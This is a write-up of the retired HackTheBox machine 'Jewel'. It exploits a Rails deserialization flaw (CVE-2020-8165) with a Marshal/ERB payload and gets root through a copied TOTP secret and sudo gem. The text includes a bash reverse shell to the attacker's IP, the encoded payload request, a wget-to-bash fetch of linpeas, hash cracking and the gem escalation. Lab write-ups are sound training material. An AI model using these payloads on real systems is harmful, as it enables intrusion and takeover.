Skip to content

Latest commit

 

History

History
205 lines (161 loc) · 7.8 KB

write-up-jewel.md

File metadata and controls

205 lines (161 loc) · 7.8 KB

Jewel

This is the write-up for the box Jewel that got retired at the 13th February 2021. My IP address was 10.10.14.6 while I did this.

Let's put this in our hosts file:

10.10.10.211    jewel.htb

Enumeration

Starting with a Nmap scan:

nmap -sC -sV -o nmap/jewel.nmap 10.10.10.211
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA)
|   256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA)
|_  256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519)
8000/tcp open  http    Apache httpd 2.4.38
|_http-generator: gitweb/2.20.1 git/2.20.1
| http-title: 10.10.10.211 Git
|_Requested resource was http://10.10.10.211:8000/gitweb/
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.38 (Debian)
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-title: BL0G!
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Checking HTTP (Port 8080)

The web page on port 8080 has the title "BL0G!" an looks like a custom developed website. There are articles from the users jennifer and bill which could be potential usernames.

On the top right it is possible to Sign Up and Log In. After signing up and login in, there is not more functionality than before.

The HTTP Server header shows that it is powered by nginx 1.14.2 and Phusion Passenger 6.0.6. The software Phusion Passenger is a web server that supports Ruby, Python and Node.js.

Checking HTTP (Port 8000)

On the web page on port 8000 a Git repository with the description "BL0G!" is hosted. This seems to be the source code of the web application on port 8080.

It can be downloaded by clicking on Snapshot and then the archive can be decompressed:

tar -xvzf git-5d6f436.tar.gz

In there is a config.ru and Gemfile which means that it is developed with Ruby on Rails. The file Gemfile.lock shows all modules and versions of this Ruby application:

(...)
rails (5.2.2.1)

The version of the Rails module for the web server is version 5.2.2.1 from March 2019. When searching through the CVEs on Mitre, we find CVE-2020-8165:

"A deserialization of untrusted data vulnernerability exists in rails < 5.2.4.3, rails < 6.0.3.1 that can allow an attacker to unmarshal user-provided objects in MemCacheStore and RedisCacheStore potentially resulting in an RCE"

It can be checked if the application is vulnerable to this by searching for the string in the vulnerability description:

grep -iR "raw: true"
app/controllers/application_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) do
app/controllers/users_controller.rb:      @current_username = cache.fetch("username_#{session[:user_id]}", raw: true) {user_params[:username]}

In the Ruby on Rails documentation the fetch method and raw is explained.

Exploiting Web Application on Port 8080

For this vulnerability there is Proof-of-Concept code on GitHub.

The fetch method is used in app/controllers/users_controller.rb in the update function when editing a users profile. We created a user earlier and the Username field can be used to send a serialized object:

http://10.10.10.211:8080/users/18/edit

Installing rails:

apt install rails

Creating new Rails project:

rails new exploit

cd exploit

Starting rails console and creating serialized object:

rails console
irb(main):> code = '`/bin/bash -c "bash -i >& /dev/tcp/10.10.14.6/9001 0>&1"`'
irb(main):> erb = ERB.allocate
irb(main):> erb.instance_variable_set :@src, code
irb(main):> erb.instance_variable_set :@filename, "1"
irb(main):> erb.instance_variable_set :@lineno, 1
irb(main):> payload=Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
irb(main):> require 'uri'
irb(main):> puts URI.encode_www_form(payload: payload)

Serialized object:

%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3E%60%2Fbin%2Fbash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.6%2F9001+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T

Sending a request with the serialized object to the server in the username parameter:

POST /users/18/edit HTTP/1.1
Host: 10.10.10.211:8080
(...)

utf8=%E2%9C%93&_method=patch&authenticity_token=y92tnwcDEsuRKgVHGNSAHY%2FhR6Rp7L1q6tOd2XX5O7gE74o9%2Fkc1KJ%2Fg7LcRnr%2F9C%2BbaimXKDv4tu8NQMADj1A%3D%3D&user%5Busername%5D=%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3E%60%2Fbin%2Fbash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.6%2F9001+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T&commit=Update+User

Browsing to the profile:

GET /users/18 HTTP/1.1

After requesting the profile, the object will get processed, execute the code and a reverse shell as bill returns.

Privilege Escalation

To get an attack surface on the box, it is recommended to run any Linux Enumeration Script:

wget -O - -q 10.10.14.6/linpeas.sh | bash

It finds two password hashes in the file /var/backups/dump_2020-08-27.sql and /home/bill/blog/bd.sql:

jennifer:$2a$12$sZac9R2VSQYjOcBTTUYy6.Zd.5I02OnmkKnD3zA6MqMrzLKz0jeDO
bill:$2a$12$QqfetsTSBVxMXpnTR.JfUeJXcJRHv5D5HImL0EHI7OzVomCrqlRxW
bill:$2a$12$uhUssB8.HFpT4XpbhclQU.Oizufehl9qqKtmdxTXetojn2FcNncJW
jennifer:$2a$12$ik.0o.TGRwMgUmyOR.Djzuyb/hjisgk2vws1xYC/hxw8M1nFk0MQy

Trying to crack the hashes with Hashcat:

hashcat -m 3200 jewel.hashes /usr/share/wordlists/rockyou.txt --username

It cracks the password of bill from the SQL dump file and it is:

spongebob

We are this user at the moment, but with the password it is possible to check the sudo permissions:

sudo -l

[sudo] password for bill:
Verification code:

After the password is validated, it asks for a Verification code and this looks like a Multi-Factor Authentication mechanism. In the home directory of bill is a hidden file called .google_authenticator with some content:

2UQI3R52WFCLE6JTLDCSJYMJH4
" WINDOW_SIZE 17
" TOTP_AUTH

Lets copy this to our local client and install OathTool to generate our own One-Time-Pad (OTP):

apt install oathtool

Generating a token with the copied file:

oathtool --totp -b @google_authenticator

This token changes after a short while, so it may take several tries, but after that sudo -l will show the root permissions for this user:

User bill may run the following commands on jewel:
    (ALL : ALL) /usr/bin/gem

The user bill can run gem as root and this is the command line tool for the package repository RubyGems for Ruby.

This binary has an entry in GTOFBins with which it is possible to escalate privileges:

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

It works and starts a shell as root!